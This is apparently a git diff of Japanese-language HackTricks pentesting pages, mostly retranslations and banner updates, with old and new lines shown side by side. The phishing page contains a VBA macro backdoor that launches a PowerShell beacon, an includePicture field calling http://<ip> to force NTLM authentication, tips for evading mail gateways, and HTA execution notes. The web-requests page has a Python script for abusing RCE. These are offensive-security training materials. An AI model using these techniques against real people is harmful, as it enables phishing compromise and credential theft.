# フィッシングファイル&ドキュメント # フィッシングファイルとドキュメント
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}
## オフィスドキュメント ## Officeドキュメント
Microsoft Wordはファイルを開く前にファイルデータの検証を行います。データ検証は、OfficeOpenXML標準に対するデータ構造の識別の形で行われます。データ構造の識別中にエラーが発生した場合、分析されているファイルは開かれません。 Microsoft Wordはファイルを開く前にファイルデータの検証を行います。データ検証は、OfficeOpenXML標準に対するデータ構造の識別の形で行われます。データ構造の識別中にエラーが発生した場合、分析中のファイルは開かれません。
通常、マクロを含むWordファイルは`.docm`拡張子を使用します。ただし、ファイルの拡張子を変更しても、マクロの実行機能を保持することが可能です。\ 通常、マクロを含むWordファイルは`.docm`拡張子を使用します。しかし、ファイル拡張子を変更することでファイル名を変更し、マクロの実行機能を保持することが可能です。\
たとえば、RTFファイルは設計上マクロをサポートしていませんが、RTFに名前が変更されたDOCMファイルはMicrosoft Wordによって処理され、マクロの実行が可能になります。\ 例えば、RTFファイルは設計上マクロをサポートしていませんが、DOCMファイルをRTFに名前を変更すると、Microsoft Wordによって処理され、マクロの実行が可能になります。\
同じ内部構造とメカニズムMicrosoft Office SuiteのすべてのソフトウェアExcel、PowerPointなどに適用されます。 同じ内部構造とメカニズムは、Microsoft Office SuiteのすべてのソフトウェアExcel、PowerPointなどに適用されます。
次のコマンドを使用して、一部のOfficeプログラムによって実行される拡張子を確認できます 次のコマンドを使用して、いくつかのOfficeプログラムによって実行される拡張子を確認できます
```bash ```bash
assoc | findstr /i "word excel powerp" assoc | findstr /i "word excel powerp"
``` ```
DOCXファイルは、マクロを含むリモートテンプレートを参照することができファイル オプション アドイン 管理: テンプレート 移動)、マクロを「実行」することもできます。
### 外部画像の読み込み ### 外部画像の読み込み
Go to: _挿入 --> クイックパーツ --> フィールド_\ 次に進む: _挿入 --> クイックパーツ --> フィールド_\
_**カテゴリ**: リンクと参照、**フィールド名**: includePicture、**ファイル名またはURL**: _ http://\<ip>/whatever _**カテゴリ**: リンクと参照, **フィールド名**: includePicture, **ファイル名またはURL**:_ http://\<ip>/whatever
![](<../../.gitbook/assets/image (155).png>) ![](<../../.gitbook/assets/image (155).png>)
### マクロバックドア ### マクロバックドア
文書から任意のコードを実行するためにマクロを使用することが可能です。 マクロを使用して、ドキュメントから任意のコードを実行することが可能です。
#### 自動読み込み関数 #### 自動ロード関数
一般的な関数ほど、AVがそれらを検出する可能性が高くなります。 一般的であればあるほど、AVがそれらを検出する可能性が高くなります。
* AutoOpen() * AutoOpen()
* Document\_Open() * Document\_Open()
@ -72,14 +77,14 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated> proc.Create "powershell <beacon line generated>
``` ```
#### メタデータの手動削除 #### メタデータを手動で削除する
**ファイル > 情報 > ドキュメントの検査 > ドキュメントの検査** に移動し、これによりドキュメントインスペクターが表示されます。 **検査** をクリックし、**ドキュメントのプロパティと個人情報** の隣にある **すべて削除** をクリックします。 **ファイル > 情報 > ドキュメントの検査 > ドキュメントの検査**に移動すると、ドキュメントインスペクターが表示されます。**検査**をクリックし、次に**ドキュメントのプロパティと個人情報**の横にある**すべて削除**をクリックします。
#### ドキュメント拡張子 #### ドキュメント拡張子
作業が完了したら、**保存形式** ドロップダウンを選択し、形式を **`.docx`** から **Word 97-2003 `.doc`** に変更します。\ 完了したら、**ファイルの種類**のドロップダウンを選択し、形式を**`.docx`**から**Word 97-2003 `.doc`**に変更します。\
これは、**マクロを `.docx` 内に保存できない** ためです。また、マクロ有効化の **`.docm`** 拡張子には **スティグマ** があります(たとえば、サムネイルアイコンには大きな `!` が表示され、一部のウェブ/メールゲートウェイが完全にブロックします)。そのため、この **レガシーの `.doc` 拡張子が最良の妥協策** です これは、**`.docx`**内にマクロを保存できず、マクロ対応の**`.docm`**拡張子には**スティグマ**があるためです(例:サムネイルアイコンに大きな`!`があり、一部のウェブ/メールゲートウェイはそれらを完全にブロックします)。したがって、この**レガシー`.doc`拡張子が最良の妥協案です**
#### 悪意のあるマクロ生成ツール #### 悪意のあるマクロ生成ツール
@ -87,11 +92,11 @@ proc.Create "powershell <beacon line generated>
* [**macphish**](https://github.com/cldrn/macphish) * [**macphish**](https://github.com/cldrn/macphish)
* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) * [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA ファイル ## HTAファイル
HTA は、HTML と VBScript、JScript などのスクリプト言語を **組み合わせた Windows プログラム** です。これは、ブラウザのセキュリティモデルの制約なしに **"完全に信頼された" アプリケーションとして実行** され、ユーザーインターフェースを生成します。 HTAは、**HTMLとスクリプト言語VBScriptやJScriptなどを組み合わせたWindowsプログラム**です。ユーザーインターフェースを生成し、ブラウザのセキュリティモデルの制約なしに「完全に信頼された」アプリケーションとして実行されます。
HTA**`mshta.exe`** を使用して実行され、通常は **Internet Explorer と一緒にインストール** されるため、**`mshta` は IE に依存** しています。したがって、IE がアンインストールされている場合、HTA は実行できなくなります HTAは**`mshta.exe`**を使用して実行され、通常は**Internet Explorer**と一緒に**インストール**されるため、**`mshta`はIEに依存しています**。したがって、IEがアンインストールされている場合、HTAは実行できません
```html ```html
<--! Basic HTA Execution --> <--! Basic HTA Execution -->
<html> <html>
@ -148,9 +153,9 @@ self.close
``` ```
## NTLM認証の強制 ## NTLM認証の強制
**リモートでNTLM認証を強制する**方法はいくつかあります。たとえば、ユーザーがアクセスするであろう電子メールやHTMLに**見えない画像**を追加したりたとんHTTP MitM、または被害者に**フォルダを開くだけで認証をトリガーするファイルのアドレス**を送信することできます。 **リモートでNTLM認証を強制する**方法はいくつかあります。たとえば、ユーザーがアクセスするメールやHTMLに**見えない画像**を追加することができますHTTP MitMでも。または、被害者に**フォルダを開くだけで認証をトリガーするファイルのアドレス**を送信することできます。
**これらのアイデアやその他の情報は、以下のページで確認してください:** **以下のページでこれらのアイデアやその他を確認してください:**
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} {% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md) [printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
@ -162,19 +167,22 @@ self.close
### NTLMリレー ### NTLMリレー
ハッシュや認証情報だけでなく、**NTLMリレーアタックも実行**できることを忘れないでください: ハッシュや認証を盗むだけでなく、**NTLMリレー攻撃を実行する**こともできることを忘れないでください:
* [**NTLMリレーアタック**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) * [**NTLMリレー攻撃**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
* [**AD CS ESC8証明書へのNTLMリレー**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) * [**AD CS ESC8 (NTLMリレーから証明書へ)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# Python Sandbox Escape & Pyscript # Python サンドボックスエスケープ & Pyscript
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセス: 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
**チェックす興味深いページ:** **チェックすべき興味深いページ:**
* [**Pyscriptハッキングトリック**](pyscript.md) * [**Pyscriptハッキングトリック**](pyscript.md)
* [**Pythonデシリアライゼーション**](../../pentesting-web/deserialization/#python) * [**Pythonデシリアライ**](../../pentesting-web/deserialization/#python)
* [**Pythonサンドボックスをバイパスするトリック**](bypass-python-sandboxes/) * [**Pythonサンドボックスをバイパスするためのトリック**](bypass-python-sandboxes/)
* [**基本的なPython Webリクエスト構文**](web-requests.md) * [**基本的なPythonウェブリクエスト構文**](web-requests.md)
* [**基本的なPython構文とライブラリ**](basic-python.md) * [**基本的なPython構文とライブラリ**](basic-python.md)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセス: 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}

File diff suppressed because one or more lines are too long

View file

@ -1,24 +1,25 @@
# venv # venv
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks\_live** をフォローする。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに提出してください。
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得: 今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
```bash ```bash
@ -42,21 +43,22 @@ inside the virtual environment
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Web Requests # Web Requests
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -90,7 +91,7 @@ return resp.json()
def get_random_string(guid, path): def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10)) return ''.join(random.choice(string.ascii_letters) for i in range(10))
``` ```
## RCEを悪用するPythonコマンド ## RCEを悪用するためのPythonコマンド
```python ```python
import requests import requests
import re import re
@ -120,21 +121,22 @@ term.cmdloop()
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
